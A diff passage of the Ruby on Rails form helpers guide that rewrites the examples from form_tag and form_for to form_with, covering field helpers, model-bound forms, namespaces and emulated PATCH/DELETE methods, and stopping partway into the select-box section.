+Working with Basic Forms
 ------------------------
 
-The most basic form helper is `form_tag`.
+The main form helper is [`form_with`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with).
 
 ```erb
-<%= form_tag do %>
+<%= form_with do |form| %>
   Form contents
 <% end %>
 ```
 
-When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
+When called without arguments, it creates an HTML `<form>` tag with the value of the `method` attribute set to `post` and the value of the `action` attribute set to the current page. For example, assuming the current page is a home page at `/home`, the generated HTML will look like this:
 
 ```html
-<form accept-charset="UTF-8" action="/" method="post">
-  <input name="utf8" type="hidden" value="&#x2713;" />
-  <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
+<form action="/home" accept-charset="UTF-8" method="post">
+  <input type="hidden" name="authenticity_token" value="Lz6ILqUEs2CGdDa-oz38TqcqQORavGnbGkG0CQA8zc8peOps-K7sHgFSTPSkBx89pQxh3p5zPIkjoOTiA_UWbQ" autocomplete="off">
   Form contents
 </form>
 ```
 
-You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element with the name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their action is "GET" or "POST".
-
-The second input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf).
+Notice that the form contains an `input` element with type `hidden`. This `authenticity_token` hidden input is required for non-GET form submissions.
+This token is a security feature in Rails used to prevent cross-site request forgery (CSRF) attacks, and form helpers automatically generate it for every non-GET form (assuming the security feature is enabled). You can read more about it in the [Securing Rails Applications](security.html#cross-site-request-forgery-csrf) guide.
 
 ### A Generic Search Form
 
-One of the most basic forms you see on the web is a search form. This form contains:
+One of the most basic forms on the web is a search form. This form contains:
 
 * a form element with "GET" method,
 * a label for the input,
 * a text input element, and
 * a submit element.
 
-To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
+Here is how to create a search form with `form_with`:
 
 ```erb
-<%= form_tag("/search", method: "get") do %>
-  <%= label_tag(:q, "Search for:") %>
-  <%= text_field_tag(:q) %>
-  <%= submit_tag("Search") %>
+<%= form_with url: "/search", method: :get do |form| %>
+  <%= form.label :query, "Search for:" %>
+  <%= form.search_field :query %>
+  <%= form.submit "Search" %>
 <% end %>
 ```
 
 This will generate the following HTML:
 
 ```html
-<form accept-charset="UTF-8" action="/search" method="get">
-  <input name="utf8" type="hidden" value="&#x2713;" />
-  <label for="q">Search for:</label>
-  <input id="q" name="q" type="text" />
-  <input name="commit" type="submit" value="Search" />
+<form action="/search" accept-charset="UTF-8" method="get">
+  <label for="query">Search for:</label>
+  <input type="search" name="query" id="query">
+  <input type="submit" name="commit" value="Search" data-disable-with="Search">
 </form>
 ```
 
-TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+Notice that for the search form we are using the `url` option of `form_with`. Setting `url: "/search"` changes the form action value from the default current page path to `action="/search"`.
 
-Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
+In general, passing `url: my_path` to `form_with` tells the form where to make the request. The other option is to pass Active Model objects to the form, as you will learn [below](#creating-forms-with-model-objects). You can also use [URL helpers](routing.html#path-and-url-helpers).
 
-IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+The search form example above also shows the [form builder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) object. You will learn about the many helpers provided by the form builder object (like`form.label` and `form.text_field`) in the next section.
 
-### Multiple Hashes in Form Helper Calls
+TIP: For every form `input` element, an `id` attribute is generated from its name (`"query"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
 
-The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+IMPORTANT: Use "GET" as the method for search forms. In general, Rails
+conventions encourage using the right HTTP verb for controller actions. Using "GET" for
+search allows users to bookmark a specific search.
 
-As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+### Helpers for Generating Form Elements
 
-```ruby
-form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
+The form builder object yielded by `form_with` provides many helper methods for generating common form elements such as text fields, checkboxes, and radio buttons.
+
+The first argument to these methods is always the name of the input. This is
+useful to remember because when the form is submitted, that name will be passed
+to the controller along with the form data in the `params` hash. The name will be the key in the `params` for the value entered by the user for that field.
+
+For example, if the form contains `<%= form.text_field :query %>`, then you
+would be able to get the value of this field in the controller with
+`params[:query]`.
+
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in the [Form Input Naming Conventions and Params Hash](#form-input-naming-conventions-and-params-hash) section of this guide. For details on the precise usage of these helpers, please refer to the [API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+
+#### Checkboxes
+
+A Checkbox is a form control that allows for a single value to be selected or deselected. A group of Checkboxes is generally used to allow a user to choose one or more options from the group.
+
+Here's an example with three checkboxes in a form:
+
+```erb
+<%= form.checkbox :biography %>
+<%= form.label :biography, "Biography" %>
+<%= form.checkbox :romance %>
+<%= form.label :romance, "Romance" %>
+<%= form.checkbox :mystery %>
+<%= form.label :mystery, "Mystery" %>
+```
+
+The above will generate the following:
+
+```html
+<input name="biography" type="hidden" value="0" autocomplete="off"><input type="checkbox" value="1" name="biography" id="biography">
+<label for="biography">Biography</label>
+<input name="romance" type="hidden" value="0" autocomplete="off"><input type="checkbox" value="1" name="romance" id="romance">
+<label for="romance">Romance</label>
+<input name="mystery" type="hidden" value="0" autocomplete="off"><input type="checkbox" value="1" name="mystery" id="mystery">
+<label for="mystery">Mystery</label>
 ```
 
-Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+The first parameter to [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) is the name of the input which can be found in the `params` hash. If the user has checked the "Biography" checkbox only, the `params` hash would contain:
 
 ```ruby
-form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
+{
+  "biography" => "1",
+  "romance" => "0",
+  "mystery" => "0"
+}
 ```
 
-### Helpers for Generating Form Elements
+You can use `params[:biography]` to check if that checkbox is selected by the user.
 
-Rails provides a series of helpers for generating form elements such as
-checkboxes, text fields, and radio buttons. These basic helpers, with names
-ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a
-single `<input>` element. The first parameter to these is always the name of the
-input. When the form is submitted, the name will be passed along with the form
-data, and will make its way to the `params` in the controller with the
-value entered by the user for that field. For example, if the form contains
-`<%= text_field_tag(:query) %>`, then you would be able to get the value of this
-field in the controller with `params[:query]`.
+The checkbox's values (the values that will appear in `params`) can optionally be specified using the `checked_value` and `unchecked_value` parameters. See the [API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-checkbox) for more details.
 
-When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+There is also a `collection_checkboxes`, which you can learn about in the [Collection Related Helpers section](#collection-related-helpers).
 
-#### Checkboxes
+#### Radio Buttons
 
-Checkboxes are form controls that give the user a set of options they can enable or disable:
+Radio buttons are form controls that only allow the user to select one option at a time from the list of choices.
+
+For example, radio buttons for choosing your favorite ice cream flavor:
 
 ```erb
-<%= check_box_tag(:pet_dog) %>
-<%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
-<%= label_tag(:pet_cat, "I own a cat") %>
+<%= form.radio_button :flavor, "chocolate_chip" %>
+<%= form.label :flavor_chocolate_chip, "Chocolate Chip" %>
+<%= form.radio_button :flavor, "vanilla" %>
+<%= form.label :flavor_vanilla, "Vanilla" %>
+<%= form.radio_button :flavor, "hazelnut" %>
+<%= form.label :flavor_hazelnut, "Hazelnut" %>
 ```
 
-This generates the following:
+The above will generate the following HTML:
 
 ```html
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
-<label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
-<label for="pet_cat">I own a cat</label>
+<input type="radio" value="chocolate_chip" name="flavor" id="flavor_chocolate_chip">
+<label for="flavor_chocolate_chip">Chocolate Chip</label>
+<input type="radio" value="vanilla" name="flavor" id="flavor_vanilla">
+<label for="flavor_vanilla">Vanilla</label>
+<input type="radio" value="hazelnut" name="flavor" id="flavor_hazelnut">
+<label for="flavor_hazelnut">Hazelnut</label>
 ```
 
-The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.
+The second argument to [`radio_button`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-radio_button) is the value of the input. Because these radio buttons share the same name (`flavor`), the user will only be able to select one of them, and `params[:flavor]` will contain either `"chocolate_chip"`, `"vanilla"`, or `hazelnut`.
 
-#### Radio Buttons
+NOTE: Always use labels for checkbox and radio buttons. They associate text with
+a specific option using the `for` attribute and, by expanding the clickable
+region, make it easier for users to click the inputs.
+
+### Other Helpers of Interest
+
+There are many other form controls including text, email, password, date, and time. The below examples show some more helpers and their generated HTML.
 
-Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
+Date and time related helpers:
 
 ```erb
-<%= radio_button_tag(:age, "child") %>
-<%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
-<%= label_tag(:age_adult, "I'm over 21") %>
+<%= form.date_field :born_on %>
+<%= form.time_field :started_at %>
+<%= form.datetime_local_field :graduation_day %>
+<%= form.month_field :birthday_month %>
+<%= form.week_field :birthday_week %>
 ```
 
 Output:
 
 ```html
-<input id="age_child" name="age" type="radio" value="child" />
-<label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
-<label for="age_adult">I'm over 21</label>
+<input type="date" name="born_on" id="born_on">
+<input type="time" name="started_at" id="started_at">
+<input type="datetime-local" name="graduation_day" id="graduation_day">
+<input type="month" name="birthday_month" id="birthday_month">
+<input type="week" name="birthday_week" id="birthday_week">
 ```
 
-As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`.
+Helpers with special formatting:
 
-NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
-by expanding the clickable region,
-make it easier for users to click the inputs.
+```erb
+<%= form.password_field :password %>
+<%= form.email_field :address %>
+<%= form.telephone_field :phone %>
+<%= form.url_field :homepage %>
+```
 
-### Other Helpers of Interest
+Output:
+
+```html
+<input type="password" name="password" id="password">
+<input type="email" name="address" id="address">
+<input type="tel" name="phone" id="phone">
+<input type="url" name="homepage" id="homepage">
+```
+
+Other common helpers:
 
-Other form controls worth mentioning are textareas, password fields,
-hidden fields, search fields, telephone fields, date fields, time fields,
-color fields, datetime fields, datetime-local fields, month fields, week fields,
-URL fields, email fields, number fields and range fields:
-
-```erb
-<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-<%= search_field(:user, :name) %>
-<%= telephone_field(:user, :phone) %>
-<%= date_field(:user, :born_on) %>
-<%= datetime_local_field(:user, :graduation_day) %>
-<%= month_field(:user, :birthday_month) %>
-<%= week_field(:user, :birthday_week) %>
-<%= url_field(:user, :homepage) %>
-<%= email_field(:user, :address) %>
-<%= color_field(:user, :favorite_color) %>
-<%= time_field(:task, :started_at) %>
-<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
-<%= range_field(:product, :discount, in: 1..100) %>
+```erb
+<%= form.textarea :message, size: "70x5" %>
+<%= form.hidden_field :parent_id, value: "foo" %>
+<%= form.number_field :price, in: 1.0..20.0, step: 0.5 %>
+<%= form.range_field :discount, in: 1..100 %>
+<%= form.search_field :name %>
+<%= form.color_field :favorite_color %>
 ```
 
 Output:
 
 ```html
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-<input id="user_name" name="user[name]" type="search" />
-<input id="user_phone" name="user[phone]" type="tel" />
-<input id="user_born_on" name="user[born_on]" type="date" />
-<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
-<input id="user_birthday_month" name="user[birthday_month]" type="month" />
-<input id="user_birthday_week" name="user[birthday_week]" type="week" />
-<input id="user_homepage" name="user[homepage]" type="url" />
-<input id="user_address" name="user[address]" type="email" />
-<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
-<input id="task_started_at" name="task[started_at]" type="time" />
-<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
-<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
+<textarea name="message" id="message" cols="70" rows="5"></textarea>
+<input value="foo" autocomplete="off" type="hidden" name="parent_id" id="parent_id">
+<input step="0.5" min="1.0" max="20.0" type="number" name="price" id="price">
+<input min="1" max="100" type="range" name="discount" id="discount">
+<input type="search" name="name" id="name">
+<input value="#000000" type="color" name="favorite_color" id="favorite_color">
 ```
 
 Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
 
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
-month, week, URL, email, number and range inputs are HTML5 controls.
-If you require your app to have a consistent experience in older browsers,
-you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
-There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a popular tool at the moment is
-[Modernizr](https://modernizr.com/), which provides a simple way to add functionality based on the presence of
-detected HTML5 features.
+TIP: If you're using password input fields, you might want to configure your application to prevent those parameters from being logged. You can learn about how in the [Securing Rails Applications](security.html#logging) guide.
 
-TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
+Creating Forms with Model Objects
+---------------------------------
 
-Dealing with Model Objects
---------------------------
+### Binding a Form to an Object
 
-### Model Object Helpers
+The `form_with` helper has a `:model` option that allows you to bind the form builder object to a model object. This means that the form will be scoped to that model object, and the form's fields will be populated with values from that model object.
 
-A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`.
+For example, if we have a `@book` model object:
 
-For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
+```ruby
+@book = Book.new
+# => #<Book id: nil, title: nil, author: nil>
+```
+
+And the following form to create a new book:
 
 ```erb
-<%= text_field(:person, :name) %>
+<%= form_with model: @book do |form| %>
+  <div>
+    <%= form.label :title %>
+    <%= form.text_field :title %>
+  </div>
+  <div>
+    <%= form.label :author %>
+    <%= form.text_field :author %>
+  </div>
+  <%= form.submit %>
+<% end %>
 ```
 
-will produce output similar to
+It will generate this HTML:
 
-```erb
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```html
+<form action="/books" accept-charset="UTF-8" method="post">
+  <input type="hidden" name="authenticity_token" value="ChwHeyegcpAFDdBvXvDuvbfW7yCA3e8gvhyieai7DhG28C3akh-dyuv-IBittsjPrIjETlQQvQJ91T77QQ8xWA" autocomplete="off">
+  <div>
+    <label for="book_title">Title</label>
+    <input type="text" name="book[title]" id="book_title">
+  </div>
+  <div>
+    <label for="book_author">Author</label>
+    <input type="text" name="book[author]" id="book_author">
+  </div>
+  <input type="submit" name="commit" value="Create Book" data-disable-with="Create Book">
+</form>
 ```
 
-Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+Some important things to notice when using `form_with` with a model object:
 
-WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
+* The form `action` is automatically filled with an appropriate value, `action="/books"`. If you were updating a book, it would be `action="/books/42"`.
+* The form field names are scoped with `book[...]`. This means that `params[:book]` will be a hash containing all these field's values. You can read more about the significance of input names in chapter [Form Input Naming Conventions and Params Hash](#form-input-naming-conventions-and-params-hash) of this guide.
+* The submit button is automatically given an appropriate text value, "Create Book" in this case.
 
-Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](active_record_validations.html#displaying-validation-errors-in-views) guide.
+TIP: Typically your form inputs will mirror model attributes. However, they don't have to. If there is other information you need you can include a field in your form and access it via `params[:book][:my_non_attribute_input]`.
 
-### Binding a Form to an Object
+#### Composite Primary Key Forms
 
-While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+If you have a model with a [composite primary key](active_record_composite_primary_keys.html), the form building syntax is the same with slightly different output.
 
-Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
+For example, to update a `@book` model object with a composite key `[:author_id, :id]` like this:
 
 ```ruby
-def new
-  @article = Article.new
-end
+@book = Book.find([2, 25])
+# => #<Book id: 25, title: "Some book", author_id: 2>
 ```
 
-The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
+The following form:
 
 ```erb
-<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
-  <%= f.text_field :title %>
-  <%= f.text_area :body, size: "60x12" %>
-  <%= f.submit "Create" %>
+<%= form_with model: @book do |form| %>
+  <%= form.text_field :title %>
+  <%= form.submit %>
 <% end %>
 ```
 
-There are a few things to note here:
-
-* `@article` is the actual object being edited.
-* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
-* The `form_for` method yields a **form builder** object (the `f` variable).
-* Methods to create form controls are called **on** the form builder object `f`.
-
-The resulting HTML is:
+Will generate this HTML output:
 
 ```html
-<form accept-charset="UTF-8" action="/articles" method="post" class="nifty_form">
-  <input id="article_title" name="article[title]" type="text" />
-  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
-  <input name="commit" type="submit" value="Create" />
+<form action="/books/2_25" method="post" accept-charset="UTF-8" >
+  <input name="authenticity_token" type="hidden" value="ChwHeyegcpAFDdBvXvDuvbfW7yCA3e8gvhyieai7DhG28C3akh-dyuv-IBittsjPrIjETlQQvQJ91T77QQ8xWA" />
+  <input type="text" name="book[title]" id="book_title" value="Some book" />
+  <input type="submit" name="commit" value="Update Book" data-disable-with="Update Book">
 </form>
 ```
 
-The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the [parameter_names section](#understanding-parameter-naming-conventions).
+Note the generated URL contains the `author_id` and `id` delimited by an
+underscore. Once submitted, the controller can [extract each primary key
+value](action_controller_overview.html#composite-key-parameters) from the parameters and update the record as it would with a singular
+primary key.
 
-The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+#### The `fields_for` Helper
 
-You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so:
+The `fields_for` helper is used to render fields for related model objects
+within the same form. The associated "inner" model is usually related to the
+"main" form model via an Active Record association. For example, if you had a
+`Person` model with an associated `ContactDetail` model, you could create a
+single form with inputs for both models like so:
 
 ```erb
-<%= form_for @person, url: {action: "create"} do |person_form| %>
+<%= form_with model: @person do |person_form| %>
   <%= person_form.text_field :name %>
-  <%= fields_for @person.contact_detail do |contact_detail_form| %>
+  <%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %>
     <%= contact_detail_form.text_field :phone_number %>
   <% end %>
 <% end %>
 ```
 
-which produces the following output:
+The above will produce the following output:
 
 ```html
-<form accept-charset="UTF-8" action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" type="text" />
-  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+<form action="/people" accept-charset="UTF-8" method="post">
+  <input type="hidden" name="authenticity_token" value="..." autocomplete="off" />
+  <input type="text" name="person[name]" id="person_name" />
+  <input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" />
 </form>
 ```
 
-The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
+The object yielded by `fields_for` is a form builder like the one yielded by
+`form_with`. The `fields_for` helper creates a similar binding but without
+rendering a `<form>` tag. You can learn more about `fields_for` in the [API
+docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-fields_for).
 
 ### Relying on Record Identification
 
-The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**:
+When dealing with RESTful resources, calls to `form_with` can be simplified by relying on **record identification**. This means you pass the model instance and have Rails figure out the model name, method, and other things. In the example below for creating a new record, both calls to `form_with` generate the same HTML:
 
 ```ruby
-resources :articles
+# longer way:
+form_with(model: @article, url: articles_path)
+# short-hand:
+form_with(model: @article)
 ```
 
-TIP: Declaring a resource has a number of side effects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
-
-When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+Similarly, for editing an existing article like below, both the calls to `form_with` will also generate the same HTML:
 
 ```ruby
-## Creating a new article
-# long-style:
-form_for(@article, url: articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(@article, url: article_path(@article), html: {method: "patch"})
-# short-style:
-form_for(@article)
+# longer way:
+form_with(model: @article, url: article_path(@article), method: "patch")
+# short-hand:
+form_with(model: @article)
 ```
 
-Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+Notice how the short-hand `form_with` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking [`record.persisted?`](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-persisted-3F). It also selects the correct path to submit to, and the name based on the class of the object.
+
+This is assuming that the `Article` model is declared with `resources :articles` in the routes file.
+
+If you have a [singular resource](routing.html#singular-resources), you will need to call `resource` and `resolve` for it to work with `form_with`:
+
+```ruby
+resource :article
+resolve("Article") { [:article] }
+```
 
-Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
+TIP: Declaring a resource has a number of side effects. See the [Rails Routing from the Outside In](routing.html#resource-routing-the-rails-default) guide for more information on setting up and using resources.
 
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
+WARNING: When you're using [single-table inheritance](association_basics.html#single-table-inheritance-sti) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify `:url`, and `:scope` (the model name) explicitly.
 
-#### Dealing with Namespaces
+### Working with Namespaces
 
-If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+If you have namespaced routes, `form_with` has a shorthand for that. For example, if your application has an `admin` namespace:
 
 ```ruby
-form_for [:admin, @article]
+form_with model: [:admin, @article]
 ```
 
-will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+The above will create a form that submits to the `Admin::ArticlesController` inside the admin namespace,  therefore submitting to `admin_article_path(@article)` in the case of an update.
+
+If you have several levels of namespacing then the syntax is similar:
 
 ```ruby
-form_for [:admin, :management, @article]
+form_with model: [:admin, :management, @article]
 ```
 
-For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
+For more information on Rails' routing system and the associated conventions, please see the [Rails Routing from the Outside In](routing.html) guide.
 
-### How do forms with PATCH, PUT, or DELETE methods work?
+### Forms with PATCH, PUT, or DELETE Methods
 
-The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+The Rails framework encourages RESTful design, which means forms in your application will make requests where the `method` is `PATCH`, `PUT`, or `DELETE` in addition to `GET` and `POST`. However, HTML forms _don't support_ methods other than `GET` and `POST` when it comes to submitting forms.
 
-Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
+Rails works around this limitation by emulating other methods over POST with a hidden input named `"_method"`. For example:
 
 ```ruby
-form_tag(search_path, method: "patch")
+form_with(url: search_path, method: "patch")
 ```
 
-output:
+The above form Will generate this HTML output:
 
 ```html
-<form accept-charset="UTF-8" action="/search" method="post">
+<form action="/search" accept-charset="UTF-8" method="post">
+  <input type="hidden" name="_method" value="patch" autocomplete="off">
+  <input type="hidden" name="authenticity_token" value="R4quRuXQAq75TyWpSf8AwRyLt-R1uMtPP1dHTTWJE5zbukiaY8poSTXxq3Z7uAjXfPHiKQDsWE1i2_-h0HSktQ" autocomplete="off">
+<!-- ... -->
+</form>
+```
+
+When parsing POSTed data, Rails will take into account the special `_method` parameter and proceed as if the request's HTTP method was the one set as the value of `_method` (`PATCH` in this example).
+
+When rendering a form, submission buttons can override the declared `method` attribute through the `formmethod:` keyword:
+
+```erb
+<%= form_with url: "/posts/1", method: :patch do |form| %>
+  <%= form.button "Delete", formmethod: :delete, data: { confirm: "Are you sure?" } %>
+  <%= form.button "Update" %>
+<% end %>
+```
+
+Similar to `<form>` elements, most browsers _don't support_ overriding form methods declared through [formmethod][] other than `GET` and `POST`.
+
+Rails works around this issue by emulating other methods over POST through a combination of [formmethod][], [value][button-value], and [name][button-name] attributes:
+
+```html
+<form accept-charset="UTF-8" action="/posts/1" method="post">
   <input name="_method" type="hidden" value="patch" />
-  <input name="utf8" type="hidden" value="&#x2713;" />
   <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  ...
+  <!-- ... -->
+
+  <button type="submit" formmethod="post" name="_method" value="delete" data-confirm="Are you sure?">Delete</button>
+  <button type="submit" name="button">Update</button>
 </form>
 ```
 
-When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example).
+In this case, the "Update" button will be treated as `PATCH` and the "Delete" button will be treated as `DELETE`.
+
+[formmethod]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-formmethod
+[button-name]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-name
+[button-value]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-value
 
 Making Select Boxes with Ease
 -----------------------------
 
-Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+Select boxes, also known as drop-down list, allow users to select from a list of options. The HTML for select boxes requires a decent amount of markup - one `<option>` element for each option to choose from. Rails provides helper methods to help generate that markup.
+
+For example, let's say we have a list of cities for the user to choose from. We can use the [`select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-select) helper:
+
+```erb
+<%= form.select :city, ["Berlin", "Chicago", "Madrid"] %>
+```
 
-Here is what the markup might look like:
+The above will generate this HTML output:
 
 ```html
-<select name="city_id" id="city_id">
-  <option value="1">Lisbon</option>
-  <option value="2">Madrid</option>
-  ...
-  <option value="12">Berlin</option>
+<select name="city" id="city">
+  <option value="Berlin">Berlin</option>
+  <option value="Chicago">Chicago</option>
+  <option value="Madrid">Madrid</option>
 </select>
 ```
 
-Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+And the selection will be available in `params[:city]` as usual.
 
-### The Select and Option Tags
-
-The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string:
+We can also specify `<option>` values that differ from their labels:
 
 ```erb
-<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
